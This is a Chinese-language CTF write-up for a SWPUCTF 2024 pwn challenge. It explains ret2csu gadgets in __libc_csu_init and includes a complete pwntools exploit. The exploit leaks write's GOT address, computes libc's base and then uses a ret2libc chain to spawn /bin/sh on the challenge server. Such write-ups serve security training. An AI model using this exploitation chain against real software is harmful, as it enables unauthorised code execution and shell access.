Problem: [SWPUCTF 2024 秋季新生赛]出题人你到底干了什么?
思路
Linux x64 Linux x86-64传递参数的方式几乎和Windows一样。但是是通过6个寄存器代替4个寄存器来传参(RDI,RSI,RDX,RCX,R8,R9)
可以用ret2csu来解答
.text:0000000000401226 loc_401226: ; CODE XREF: __libc_csu_init+35↑j
.text:0000000000401226 add rsp, 8
.text:000000000040122A pop rbx
.text:000000000040122B pop rbp
.text:000000000040122C pop r12
.text:000000000040122E pop r13
.text:0000000000401230 pop r14
.text:0000000000401232 pop r15
.text:0000000000401234 retn
这是需要使用的第一个gadget 避免麻烦直接从40122A开始用
rbx一般设置0 rbp一般设置1
loc_401210: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401210 mov rdx, r14 第一个参数
.text:0000000000401213 mov rsi, r13 第二个参数
.text:0000000000401216 mov edi, r12d 第三个参数
.text:0000000000401219 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040121D add rbx, 1
.text:0000000000401221 cmp rbp, rbx
.text:0000000000401224 jnz short loc_401210
如果rbx设置0 也就是直接call[r15]
rbp设置1 可以在cmp rbp, rbx 拿到0
从而不循环跳转loc_401210
又跳到loc_401226
因为add rsp, 8 所以需要多溢出8字节
直接填充6*8 + 8 = 56字节脏数据
然后到ret 接一个main重新溢出
然后就可以按照正常的ret2libc打了
EXP
from pwn import *
context.log_level = 'debug'
elf = ELF("./attachment")
libc = ELF('/home/rick/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so')
p = remote("node6.anna.nssctf.cn",26697)
#p = process("attachment")
write_got = elf.got["write"]
write_plt = elf.plt["write"]
gadget_csu_first = 0x40122A
gadget_csu_second = 0x401210
main_addr = elf.sym["main"]
payload = b'a'*88 + b'a'*16
payload += p64(gadget_csu_first)
payload += p64(0) #pop rbx set 0
payload += p64(1) #pop rbp set 1
payload += p64(1) #pop r12 => rdi first argument
payload += p64(write_got) #pop r13 => rsi 2 arguc
payload += p64(8) #pop r14 => rdx 3
payload += p64(write_got) #pop r15 => need call 应该是call 到机器码了 而不是实际的地址 所以用got表里面的 plt 里面是 jmp call 机器码肯定报错
# write(1, byte_402008, v3);
'''
call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:0000000000401221 cmp rbp, rbx
.text:0000000000401224 jnz short loc_401210
'''
payload += p64(gadget_csu_second)
#设置脏数据 add rsp, 8 所以多设置8个字节脏数据
payload += p64(0xdeadbeef)*7
payload += p64(main_addr)
'''
.plt.sec:0000000000401060 _write proc near ; CODE XREF: main+32↓p
.plt.sec:0000000000401060 ; __unwind {
.plt.sec:0000000000401060 endbr64
.plt.sec:0000000000401064 bnd jmp cs:off_404018
.plt.sec:0000000000401064 _write endp
'''
#attach(p)
p.send(payload)
p.recvuntil(b"!\n")
leak_got = u64(p.recv(8))
log.success("leak write got=>"+hex(leak_got))
libc_base = leak_got - libc.sym["write"]
pop_rdi_ret = 0x401233
system_addr = libc_base + libc.sym["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\x00"))
ret = 0x40101a
payload = b'a'*88 + b'a'*16 +p64(ret) +p64(pop_rdi_ret) + p64(bin_sh_addr) +p64(system_addr)
p.send(payload)
p.interactive()
需要注意的是设置r15 call的时候不能设置plt
因为plt里面的是jmp [offset]
你call他 就 相当于 call 机器码了 必报错
然后payload2 加一个ret 不加不对齐报错
总结
ret2csu retlibc